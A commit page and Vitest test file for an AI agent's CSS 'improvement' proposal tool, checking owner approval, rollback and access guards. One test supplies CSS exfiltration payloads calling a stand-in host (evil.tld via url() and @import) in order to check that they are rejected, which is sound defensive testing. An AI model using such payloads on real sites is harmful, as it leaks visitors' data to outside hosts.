- Terminal renamed Eithan: mobile font A−/A+ (per-URL ttyd opts), same-origin xterm Copy/Paste buttons, scroll-to-live, touch-default 17px - Dross voice: no keyboard pop after transcribe (fine-pointer only focus), autogrow textarea to ~5 lines, live amplitude meter on the mic while recording - Dross improvements: propose_improvement tool (CSS layer, exfil-sanitized, owner-approved, per-improvement rollback/restore), public /improvements.css, Settings panel. External MCP registry unchanged (no tool leak). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
60 lines
2.6 KiB
JavaScript
60 lines
2.6 KiB
JavaScript
import { describe, it, expect, beforeAll } from 'vitest';
|
|
import request from 'supertest';
|
|
import { resetDb } from '../helpers/db.js';
|
|
import { migrateUp } from '../../lib/db/migrate.js';
|
|
import { createApp } from '../../server.js';
|
|
import { proposeImprovementTool } from '../../lib/ai/agent/tools/propose_improvement.js';
|
|
|
|
let app;
|
|
beforeAll(async () => {
|
|
await resetDb(); await migrateUp();
|
|
process.env.OWNER_TOKEN = 'test-token';
|
|
app = createApp();
|
|
});
|
|
const auth = (r) => r.set('Authorization', 'Bearer test-token');
|
|
const ctx = { agent: { slug: 'dross' } };
|
|
|
|
describe('dross improvements (2.14)', () => {
|
|
let id;
|
|
|
|
it('tool drafts a pending improvement, never applies', async () => {
|
|
const out = await proposeImprovementTool.handler(
|
|
{ summary: 'Soften card borders', css: '.card { border-radius: 10px; }' }, ctx);
|
|
expect(out.ok).toBe(true);
|
|
expect(out.note).toMatch(/NOT live/);
|
|
id = out.id;
|
|
const css = await request(app).get('/improvements.css');
|
|
expect(css.text).not.toContain('border-radius: 10px'); // pending ≠ live
|
|
});
|
|
|
|
it('tool rejects exfil css', async () => {
|
|
expect((await proposeImprovementTool.handler(
|
|
{ summary: 'evil', css: '.x { background: url(http://evil.tld/p.png); }' }, ctx)).error)
|
|
.toMatch(/url\(\)/);
|
|
expect((await proposeImprovementTool.handler(
|
|
{ summary: 'evil', css: '@import "http://evil.tld/x.css";' }, ctx)).error).toBeTruthy();
|
|
});
|
|
|
|
it('owner approves → live in the public stylesheet', async () => {
|
|
const res = await auth(request(app).post(`/api/improvements/${id}/approve`));
|
|
expect(res.status).toBe(200);
|
|
expect(res.body.status).toBe('active');
|
|
const css = await request(app).get('/improvements.css'); // unauthenticated by design
|
|
expect(css.headers['content-type']).toContain('text/css');
|
|
expect(css.text).toContain('border-radius: 10px');
|
|
expect(css.text).toContain('dross: Soften card borders');
|
|
});
|
|
|
|
it('rollback removes it instantly; restore brings it back', async () => {
|
|
await auth(request(app).post(`/api/improvements/${id}/rollback`));
|
|
expect((await request(app).get('/improvements.css')).text).not.toContain('border-radius');
|
|
await auth(request(app).post(`/api/improvements/${id}/restore`));
|
|
expect((await request(app).get('/improvements.css')).text).toContain('border-radius');
|
|
});
|
|
|
|
it('transitions are guarded (no approve on active, no anonymous verbs)', async () => {
|
|
expect((await auth(request(app).post(`/api/improvements/${id}/approve`))).status).toBe(409);
|
|
expect((await request(app).post(`/api/improvements/${id}/rollback`)).status).toBe(401);
|
|
});
|
|
});
|